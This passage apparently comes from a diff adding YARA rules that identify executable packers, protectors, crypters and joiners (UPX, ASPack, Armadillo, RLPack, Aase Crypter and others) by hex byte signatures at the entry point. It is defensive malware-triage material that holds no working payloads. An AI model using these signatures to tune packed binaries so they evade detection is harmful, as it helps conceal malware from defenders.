+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF 80 38 01 0F 84 42 02 00 00 C6 00 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00}
+		$1 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF 80 38 01 0F 84 42 02 00 00 C6 00 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _LZEXE_v091_v100a_1_
+{
+	meta:
+		description = "LZEXE v0.91, v1.00a (1)"
+	strings:
+		$0 = {06 0E 1F 8B ?? ?? ?? 8B F1 4E 89 F7}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v100b_
+{
+	meta:
+		description = "ASPack v1.00b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Modified_Stub_c__Farbrausch_Consumer_Consulting_
+{
+	meta:
+		description = "UPX Modified Stub c -> Farb-rausch Consumer Consulting"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48}
+		$1 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2A 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 56 89 FE 29 C6 F3 A4 5E EB 9F 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 FF D3 11 C9 FF D3 72 F8 C3 31 C0 31 DB 31 C9 5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F 0E 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 89 D8 E2 D9 8D BE ?? ?? ?? ?? 8B 07 09 C0 74 45 8B 5F 04 8D 84 30 ?? ?? ?? ?? 01 F3 50 83 C7 08 FF 96 ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 ?? ?? ?? ?? 61 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Pohernah_103__by_Kas_
+{
+	meta:
+		description = "Pohernah 1.0.3 - by Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 2A 27 40 00 31 C0 40 83 F0 06 40 3D 40 1F 00 00 75 07 BE 6A 27 40 00 EB 02 EB EB 8B 85 9E 28 40 00 83 F8 01 75 17 31 C0 01 EE 3D 99 00 00 00 74 0C 8B 8D 86 28 40 00 30 0E 40 46 EB ED}
+	condition:
+		$0 at entrypoint
+}
+rule _MingWin32_v_h_
+{
+	meta:
+		description = "MingWin32 v?.? (h)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 E8 ?? FE FF FF 90 8D B4 26 00 00 00 00 55}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v1451__CGSoftLabs_h_
+{
+	meta:
+		description = "eXPressor v1.4.5.1 -> CGSoftLabs (h)"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14 89 4D CC}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V112V114_aPlib_043__ap0x__Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.12-V1.14 (aPlib 0.43) -> ap0x ! Sign by fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF EB 0F FF ?? ?? ?? FF ?? ?? ?? D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_LCC_Win32_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [LCC Win32 DLL] -> Anorganix"
+	strings:
+		$0 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_4000053__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.00.0053 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1}
+	condition:
+		$0
+}
+rule _REC_C0ded_by_ROSE_
+{
+	meta:
+		description = "REC, C0ded by ROSE"
+	strings:
+		$0 = {06 1E 0E 0E 07 1F B4 30 CD 21 86 E0 3D 00 03 73 ?? CD 20 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_Small_build_033__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 033) -> GlOFF"
+	strings:
+		$0 = {50 66 33 C3 66 8B C1 58 E8 AC FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_14__c199899_Ian_Luck_h_
+{
+	meta:
+		description = "Petite 1.4 -> (c)1998-99 Ian Luck (h)"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 72 04 03 7A 08 8B 0A F3 A5 83 C2 0C FC EB D4 8B 7A 08 03 F8 8B 5A 04 85 DB 74 13 52 53 57 03 02 50 E8 79 00 00 00 85 C0 74 30 5F 5F 58 5A 8B 4A 0C C1 F9 02 33 C0 F3 AB 8B 4A 0C 83 E1 03 F3 AA 83 C2 10 EB 9E 45 52 52 4F 52 21 00 43 6F 72 72 75 70 74 20 44 61 74 61 21 00 8B 64 24 24 8B 04 24 83 C4 26 8B D0 66 81 C2 7E 01 6A 10 8B D8 66 05 77 01 50 52 6A 00 03 1B FF 13 6A FF FF 53 08 56 57 8B 7C 24 0C 8B 74 24 10 8B 4C 24 14 C1 F9 02 F3 A5 8B 4C 24 14 83 E1 03 F3 A4 5F 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v109a_
+{
+	meta:
+		description = "Inno Setup Module v1.09a"
+	strings:
+		$0 = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 A7 7F FF FF E8 FA 92 FF FF E8 F1 B3 FF FF 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _REC_v034_3_
+{
+	meta:
+		description = "REC v0.34 [3"
+	strings:
+		$0 = {06 1E B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _TurboBAT_v310__50_Patched_
+{
+	meta:
+		description = "TurboBAT v3.10 .. 5.0 (Patched)"
+	strings:
+		$0 = {90 90 90 90 90 90 90 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 ?? 3A C4 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Basic_Compiler_v560_198297_
+{
+	meta:
+		description = "Microsoft Basic Compiler v5.60 1982-97"
+	strings:
+		$0 = {9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 33 DB BA ?? ?? 9A ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 33 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _Splash_Bitmap_v100_With_Unpack_Code__BoB__Bobsoft_
+{
+	meta:
+		description = "Splash Bitmap v1.00 (With Unpack Code) -> BoB / Bobsoft"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 6A 40}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_131_Eng__dulekxt_
+{
+	meta:
+		description = "FSG 1.31 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB}
+	condition:
+		$0
+}
+rule _PROMIDI_Music_file_
+{
+	meta:
+		description = "PRO-MIDI Music file"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 52 4D 49 44}
+	condition:
+		$0
+}
+rule _Thinstall_Embedded_V2422V2428__Jitit__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Embedded V2.422-V2.428 -> Jitit ! Sign by fly"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D 9B 1A 00 00 B9 84 1A 00 00 BA 14 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD E0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _PEStubOEP_v1x_
+{
+	meta:
+		description = "PEStubOEP v1.x"
+	strings:
+		$0 = {40 48 BE 00 ?? ?? 00 40 48 60 33 C0 B8 ?? ?? ?? 00 FF E0 C3 C3}
+	condition:
+		$0
+}
+rule _ExeSafeguard_v10__simonzh_h_
+{
+	meta:
+		description = "ExeSafeguard v1.0 -> simonzh (h)"
+	strings:
+		$0 = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF DF BA A3 22 3F 9A C0 60 EB 4D EB 47 DF 69 4E 58 DF 59 79 F3 EB 01 DF 78 EE DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF E8 BA A3 22 3F 9A C0 8D B5 EE 19 40 00 EB 47 EB 47 DF 69 4E 58 DF 59 7A EE EB 01 DF 7B E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF DF 22 3F 9A C0 8B FE EB 4C EB 47 DF 69 4E 58 DF 59 74 F2 EB 01 DF 75 ED 0F 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF E8 BA A3 22 3F 9A C0 B9 2B CB 00 00 EB 4B EB 47 DF 69 4E 58 DF 59 78 EF}
+	condition:
+		$0
+}
+rule _MSLRH_032a_fake_PESHiELD_025__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PESHiELD 0.25) -> emadicius"
+	strings:
+		$0 = {60 E8 2B 00 00 00 0D 0A 0D 0A 0D 0A 52 65 67 69 73 74 41 72 65 64 20 74 6F 3A 20 4E 4F 4E 2D 43 4F 4D 4D 45 52 43 49 41 4C 21 21 0D 0A 0D 0A 0D 00 58 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04}
+	condition:
+		$0
+}
+rule _tElock_099c_Private_ECLIPSE__tE_
+{
+	meta:
+		description = "tElock 0.99c (Private ECLIPSE) -> tE!"
+	strings:
+		$0 = {E9 3F DF FF FF 00 00 00 ?? ?? ?? ?? 04 ?? ?? 00 00 00 00 00 00 00 00 00 24 ?? ?? 00 14 ?? ?? 00 0C ?? ?? 00 00 00 00 00 00 00 00 00 31 ?? ?? 00 1C ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65}
+	condition:
+		$0 at entrypoint
+}
+rule _ZipWorxSecureEXE_v25__ZipWORX_Technologies_LLC_h_
+{
+	meta:
+		description = "ZipWorxSecureEXE v2.5 -> ZipWORX Technologies LLC (h)"
+	strings:
+		$0 = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30 30 34 2D 32 30 30 37 20 5A 69 70 57 4F 52 58 20 54 65 63 68 6E 6F 6C 6F 67 69 65 73 2C 20 4C 4C 43 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 32 30 30 31 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 0D 0A 00 00 8B 44 24 04 23 05 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74 02 FF E0 8B E5 5D C2 0C 00 80 3D ?? ?? ?? ?? 00 75 13 50 2B C0 50 E8 ?? ?? 00 00 83 C4 04 58 FE 05 ?? ?? ?? ?? ?? 94 9A 8D 91 9A 93 CC CD 00 B8 93 90 9D 9E 93 BE 93 93 90 9C 00 B8 93 90 9D 9E 93 B9 8D 9A 9A 00 B8 9A 8B B2 90 9B 8A 93 9A B7 9E 91 9B 93 9A BE 00 B8 9A 8B B2 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Mew_11_SE_v12_Eng__Northfox_
+{
+	meta:
+		description = "Mew 11 SE v1.2 (Eng) -> Northfox"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_V2620V2623__Jitit__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Embedded V2.620-V2.623 -> Jitit ! Sign by fly"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB AC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 21 00 00 68 C4 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Aase_Crypter__by_santasdad_
+{
+	meta:
+		description = "Aase Crypter - by santasdad"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00}
+		$1 = {55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00 10 68 0C 43 ?? ?? ?? ?? DF FF FF 50 E8 0E DF FF FF A3 94 66 00 10 83 3D 94 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 38 43 00 10 6A 00 E8 15 DF FF FF 68 48 43 00 10 68 0C 43 00 10 E8 D6 DE FF FF 50 E8 D8 DE FF FF A3 A0 66 00 10 83 3D A0 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 58 43 00 10 6A 00 E8 DF DE FF FF 68 6C 43 00 10 68 0C 43 00 10 E8 A0 DE FF FF 50 E8 A2 DE FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_v072_
+{
+	meta:
+		description = "UPX v0.72"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 83 ?? ?? 31 DB 5E 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _FileShield_
+{
+	meta:
+		description = "FileShield"
+	strings:
+		$0 = {50 1E EB ?? 90 00 00 8B D8}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Protector_v10x_2_
+{
+	meta:
+		description = "UPX Protector v1.0x (2)"
+	strings:
+		$0 = {EB ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB}
+	condition:
+		$0
+}
+rule _Petite_12__c1998_Ian_Luck_
+{
+	meta:
+		description = "Petite 1.2 -> (c)1998 Ian Luck"
+	strings:
+		$0 = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack__Ap0x_
+{
+	meta:
+		description = "RLPack --> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 CD 09 00 00 89 85 14 0A 00 00 EB 14 60 FF B5 14 0A}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 EB 09 00 00 89 85 3A 0A 00 00 EB 14 60 FF B5 3A 0A}
+		$2 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 0C 00 00 EB 03 0C 00 00 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 47 02 00 00 EB 03 15 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 9B 0A}
+		$3 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 CD 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 14 0A}
+		$4 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 3A 0A}
+		$5 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 ?? ?? ?? ?? EB 03 ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 9B 0A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint
+}
+rule _SDProtector_Pro_Edition_116__Randy_Li_
+{
+	meta:
+		description = "SDProtector Pro Edition 1.16 -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41}
+	condition:
+		$0
+}
+rule _RCryptor_v20_Hide_EP__Vaska_
+{
+	meta:
+		description = "RCryptor v2.0 (Hide EP) --> Vaska"
+	strings:
+		$0 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 DC 20 ?? 00 F7 D1 83 F1 FF E8 00 00 00 00 F7 D1 83 F1 FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _DiskDupe_c_MSD_Users_file_
+{
+	meta:
+		description = "DiskDupe (c) MSD Users file"
+	strings:
+		$0 = {4D 53 44 20 55 73 65 72 73 20 56 65 72 73 69 6F 6E}
+	condition:
+		$0
+}
+rule _NSIS_Installer__NullSoft_
+{
+	meta:
+		description = "NSIS Installer -> NullSoft"
+	strings:
+		$0 = {83 EC 20 53 55 56 33 DB 57 89 5C 24 18 C7 44 24 10 ?? ?? ?? ?? C6 44 24 14 20 FF 15 30 70 40 00 53 FF 15 80 72 40 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_120_Eng__dulekxt__Microsoft_Visual_Cpp_60__70_
+{
+	meta:
+		description = "FSG 1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)"
+	strings:
+		$0 = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA}
+	condition:
+		$0
+}
+rule _Noodlecrypt2__rsc_
+{
+	meta:
+		description = "Noodlecrypt2 -> r!sc"
+	strings:
+		$0 = {EB 01 9A E8 76 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SLVc0deProtector_v11__SLV_h_
+{
+	meta:
+		description = "SLVc0deProtector v1.1 -> SLV (h)"
+	strings:
+		$0 = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C}
+		$1 = {E8 01 00 00 00 A0 5D EB 01 69 81 ED 5F 1A 40 00 8D 85 92 1A 40 00 F3 8D 95 83 1A 40 00 8B C0 8B D2 2B C2 83 E8 05 89 42 01 E8 FB FF FF FF 69 83 C4 08 E8 06 00 00 00 69 E8 F2 FF FF FF F3 B9 05 00 00 00 51 8D B5 BF 1A 40 00 8B FE B9 58 15 00 00 AC 32 C1 F6 D0 EB 01 00 D0 C0 FE C8 02 C1 AA E2 EF 59 E2 DE B7 FE AB E1 24 C8 0C 88 7A E1 B1 6A F7 95 83 1B A8 7F F8 A8 B0 1A 8B 08 91 47 6C 5A 88 6C 65 39 85 DB CB 54 3D B9 24 CF 4C AE C6 63 74 2C 63 F0 C8 18 0B 97 6B 79 63 A8 AB B8 78 A9 30 2F 2B DA 18 AC 35 45 36 BC 0D 7D 24 D1 51 3C E6 34 11 5A 43 06 24 89 FA 74 30}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _MicroJoiner_16__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.6 -> coban2k"
+	strings:
+		$0 = {33 C0 64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B}
+	condition:
+		$0 at entrypoint
+}
+rule _PCIENC_Cryptor_
+{
+	meta:
+		description = "PCIENC Cryptor"
+	strings:
+		$0 = {06 50 43 49 45 4E}
+	condition:
+		$0
+}
+rule _Unnamed_Scrambler_12C__12D__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.2C / 1.2D -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 05 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? 3A ?? ?? E8 ?? EC FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? D7 FF FF E8 ?? ?? FF FF B8 20 ?? ?? ?? 33 C9 BA 04 01 00 00 E8 ?? DB FF FF 68 04 01 00 00 68 20 ?? ?? ?? 6A 00 FF 15 10}
+		$1 = {55 8B EC B9 05 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? 3A ?? ?? E8 ?? EC FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? D7 FF FF E8 ?? ?? FF FF B8 20 ?? ?? ?? 33 C9 BA 04 01 00 00 E8 ?? DB FF FF 68 04 01 00 00 68 20 ?? ?? ?? 6A 00 FF 15 10 ?? ?? ?? BA ?? ?? ?? ?? B8 14 ?? ?? ?? E8 ?? ?? FF FF 85 C0 0F 84 ?? 04 00 00 BA 18 ?? ?? ?? 8B 0D 14 ?? ?? ?? E8 ?? ?? FF FF 8B 05 88 ?? ?? ?? 8B D0 B8 54 ?? ?? ?? E8 ?? E3 FF FF B8 54 ?? ?? ?? E8 ?? E2 FF FF 8B D0 B8 18 ?? ?? ?? 8B 0D 88 ?? ?? ?? E8 ?? D6 FF FF FF 35 34 ?? ?? ?? FF 35 30 ?? ?? ?? FF 35 3C ?? ?? ?? FF 35 38 ?? ?? ?? 8D 55 E8 A1 88 ?? ?? ?? E8 ?? F0 FF FF 8B 55 E8 B9 54}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _TurboBAT_v310__50_
+{
+	meta:
+		description = "TurboBAT v3.10 .. 5.0"
+	strings:
+		$0 = {BA ?? ?? B4 09 ?? ?? 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 0F 3A C4 ?? ?? 26 ?? ?? ?? 24 0F 3A C4}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_Microsoft_Visual_Cpp__emadicius_h_
+{
+	meta:
